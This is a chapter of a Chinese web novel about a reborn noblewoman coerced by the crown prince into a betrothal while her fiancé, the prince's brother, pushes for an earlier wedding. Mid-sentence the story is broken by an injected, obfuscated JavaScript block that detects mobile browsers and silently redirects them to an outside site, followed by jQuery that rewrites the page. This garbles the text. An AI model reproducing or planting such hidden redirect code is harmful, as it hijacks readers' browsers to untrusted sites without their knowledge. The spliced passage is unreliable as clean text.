24. 太子找事
作品:《重生后嫁给了前夫他弟》 赵永瑞被谢长淮一同签了一道契约,不签,拿不走梵草,太子一直藏着,一直等到了他们离开,才肯出来,手里还握着那一枚熟悉的荷包。
没错,他们拿走的梵草不是真的。
他们不仅没有拿走梵草,还留下了一些证据,足以证明赵永瑞红杏出墙。
也不知道他的好弟弟看到这一份契约的时候会不会急火攻心而亡呢?
太子嘴角扬起了一抹得意的弧度。
契约拿到了,下一步就是让赵永瑞嫁给他了。
梵草丢失之后,赵永瑞的警敏日益攀升,她甚至是在那间屋子里面就敞开了荷包,直至确定这是真的梵草,攒着的眉头才舒展开来。
但是女人的直觉是非常敏锐的,虚假的东西可以欺骗她的眼睛,却欺骗不了她的直觉。
回去路上,赵永瑞心烦意燥,眉头总是攒了舒,舒了攒,循环往复,周而复始,就算是看见梵草,一颗心还是悬在嗓子眼,就连她都笑话自己,说自己这是一朝被蛇咬,十年怕井绳。
半夜的时候,她甚至把那枚荷包放在了自己的枕头底下,后来竟然觉得这样也没有安全感,索性连觉也不睡,直愣愣的坐在床上,手里紧紧攥着那一枚荷包,目光时不时看一下窗外漆黑的夜色,似乎是想什么时候天边才能泛起鱼肚白。
只要天亮了,将军府的人来了,她就能回家了。
夜色深处,一点点银色的光芒乍闪,嗖的一声,这点点的银色竟然破过长空飞了出去。
——这是一只长箭!
长箭径直在空中划过了一道坚硬的线条,砰的一声,直直钉进了赵永瑞的床头上!
赵永瑞也不知道哪来的感觉,明明自己不知道射箭的人在哪里,却凭着感觉,下了床,本来是去正对的床的桌子上找杯水喝的。
她刚刚放下水杯,身子刚转过去,就眼睁睁地看见了箭笔直地从自己眼前飞了过去。
那一刻,她木住了,她的头皮都是麻的,嗓子里面都说不出话,
寂静的房间里只能听见她粗重的呼吸声。
这恐怕还是太子干的好事!
箭上还穿了一张布条。
赵永瑞咽一口唾沫,向前去颤着手拔下了箭,取下了这个布条。
看见布条上的字时,赵永瑞瞳孔猛然一缩。
这是太子来的“信”。
太子的意思是说想要梵草,就去长盛酒楼二楼找他。
长盛酒楼二楼
堵堵堵--
太子听见敲门声响起,就知道是赵永瑞来了。
但是他没有立刻就让赵永瑞进来,他知道赵永瑞比他还急,他的时间大把大把地有,可是谢长淮的时间可是所剩无几了。
赵永瑞敢一而再再而三地拂他的面子,那他就晾晾她,反正他不着急。
赵永瑞再敲了好几回门,太子才释释然地让她进去。
“你来了。”
赵永瑞道:“臣女来了,殿下也该遵守诺言了。”
太子脸上挂着笑,这笑意却不达眼底,他明明是笑着的,赵永瑞却浑身发寒,连呼吸都不有自主地放轻松了。
“诺言,本宫自然会遵守的,但是…………”
赵永瑞眯了眯眼睛,反问道:“但是什么?”
“但是本宫想要你嫁给我,赵二姑娘这么爱重本宫的弟弟,自然也是不希望他英年早逝的吧。”
赵永瑞心脏微微收紧,牙关都在打颤:“我,我答应你。”
太子并没有就此鸣金收兵,而是继续攻城掠地:“婚姻都是父母之命,媒妁之言,都要互换婚姻信物的。”
赵永瑞硬邦邦道:“婚姻信物都是需要细细打磨研制而成的。”
太子十分熟稔地来到她身边,围着她转了一圈,又倏尔摘下了她发髻上的簪子。
赵永瑞神经一下子绷紧了。
太子道:“重要的是咱们心意相通,并非是什么信物,这簪子本宫挺喜欢的,当做婚姻信物,本宫也不嫌弃。”
通常来说,婚姻信物是未婚夫妻送给对方的礼物。
此朝对此物极为重视,要制成,少说也得一两年,若无此物,婚都是结不成的,太子此举,就是想快点把这件事情定下,好让赵永瑞没有后悔的余地!
赵永瑞垂眸冷脸。
这枚簪子是她照着之前的簪子的样子,重新买的一枚。
之前的那枚簪子,她尝尝到处去抛头露脸的,谁不知道这是她的簪子!
太子就是想把她往绝路上逼!
外头渐渐起了雨意,传来淅淅沥沥的雨声,这长盛酒楼本就是依山傍水而建,若论起干爽来,就算是晴天,也比不过那些建在平地上的酒楼。
乌云被吹了过来,二楼窗户没有关严,雨声越来越近,赵永瑞似乎都能感觉到雨肆意拍打在身上的刺骨与冰冷,惹得她骨头缝儿里都是疼的。
好似这副身体还是前世那副稍稍有些风吹雨也就能疼半宿的漏风网的身体似的。
“殿下”赵永瑞收紧喉咙,“梵草,我要梵草。”
太子冰冷的目光定在了她身上一阵儿,把她拉到自己身边坐下,轻柔地拍了拍她的脸,兀地笑出声来:“那是自然。”
赵永瑞喉咙上下攒动,偏头躲过了他的亲昵。
仇人明明近在咫尺,却无力报仇的无奈,愤恨让赵永瑞心里生出来一种想要毁天灭地的冲动。
她不仅不能报仇雪恨,还得亲近他,才能获得离开他的资本。
她恨啊!
她也不知道自己怎么走出长盛酒楼的。
赵永瑞回去的十分顺利,因为谢长淮暂时离开了,说是云溪阁有要事得忙。
于是,这个大忙人就跑去了皇宫,“身残志坚”把他的皇帝老爹从他母后的床上揪下来,开始说永瑞给他写了信,信里说她是怎么喜欢他的,是怎么给他找梵草的。
若是放在平日,皇帝或许还会跟谢长淮比划比划拳脚,但谢长淮如今是待病之身,皇后本来就疼谢长淮,要是自己再惹得谢长淮生气了,可就再也进不了这凤仪宫了。
皇帝穿了一身寝衣,被连星带火地拽到了椅子上,一脸无语地看着坐着轮椅的儿子,抠了抠耳朵眼儿:“好了,好了,说够了吗?”
谢长淮还有滔滔不绝的话想要说呢,哪里肯罢口:“没有,没有,我的话还多着呢。”
皇帝也想给谢长淮一点关于父亲的关爱,但是谢长淮每一句话都让他无言以对。
他还以为谢长淮出事了呢!
结
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111356|194598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
果他自己强撑着病体,摇着轮椅,过来跟他说,我的未婚妻爱我!
好不容易皇帝把他打发走了,想搂着皇后再睡一觉,不一会儿他又回来了。
帝后两人离开的脚步又被生生截胡了。
这次谢长淮收敛了方才的嬉皮笑脸,义正言辞的告诉他:“我想提前婚期。”
皇帝见皇后还在,也不好对这个儿子说些什么,只是糊弄他:“嗯嗯,朕明天就去问钦天监,下个月有没有好日子。”
按理来说,皇子大婚就算是忙活准备个五六年都是情理之中,谢长淮和赵永瑞的婚期本来就是赶的,定在后年,已经是着急了,一些事情都来不及预备着。
皇帝一开口就是明年,更赶了,一看就是在和谢长淮怄气。
皇后察觉到这一点,不满地看了皇帝一眼。
皇帝教妻子看得心里发麻,一下子将头扭到一边,势必不对上皇后的视线。
正常来说,谢长淮定然会和皇后告状,让皇后收拾皇帝,但今晚的谢长淮一反常态,竟然欢天喜地地应了下来:“多谢父皇!”
至于谢长淮为何要一反常态,这件事情还要和他刚刚出去,见到了他留在清水居照看赵永瑞的人有关。
他没有大张旗鼓地告诉赵永瑞他留了人,谁会喜欢自己身边都是眼线呢?
赵永瑞去了长盛酒楼,连红雨都没有带,暗卫见赵永瑞出去了,也就一同跟着去了。
谢长淮走前发话了,有关赵永瑞的一切消息都是派人向他汇报。
这不,真来汇报了!
他都不知道自己是这么听完这一切的,只知道他一直拧着一股劲儿,等他反应过来的时候,嘴里面已经教他自己咬出血了,腥甜腥甜的。
他摇着轮椅想回殿里,庆阳王府的人有带了一纸契约过来,这纸契约就是他当时和赵永瑞一起签下的那份契约。
与契约一同来的,还有一封欲盖弥彰的信。
信上说,赵永瑞红杏出墙了。
不用多言,这里面也一定有太子的手笔了!
谢长淮的意识渐渐回笼,眼前的一切再一次变得清晰。
赵永瑞,他要早点娶!
太子,他也得好好报复回来!
东宫
太子从赵永瑞那里拿来的簪子被当成了废物一样,扔到了地上,周遭太监宫女见了太子的态度,无一人敢去捡拾。
太子正全神贯注地伏在案上,手边的废纸杂了半边书案,任谁看了抖觉得太子在忙一件难搞的事情,古言道,釜底抽薪,众人却不敢向前走一步,去劝告他。
他更是放言,任何人,任何事也得等到他画完图了再过来找他。
因为他正在思索他登基时候,封陈桐月为皇后的大典上,陈桐月要带的凤冠。
咯吱咯吱——
陈桐月推门而入。
太子抬脸,凝重着眉头,刚想吩咐宫人们把这个不知好歹过来打扰他思绪的罪人拖下去千刀万剐了,见着是陈桐月来了,又展开了眉头,笑盈盈地看着她:“桐月,你怎么来了?眼角怎么红了?谁欺负你了?告诉我,我给你报仇。”
陈桐月抱着太子,躲在太子怀里:“殿下,陛下要提前庆阳王和赵二姑娘的婚期!就在下个月!”

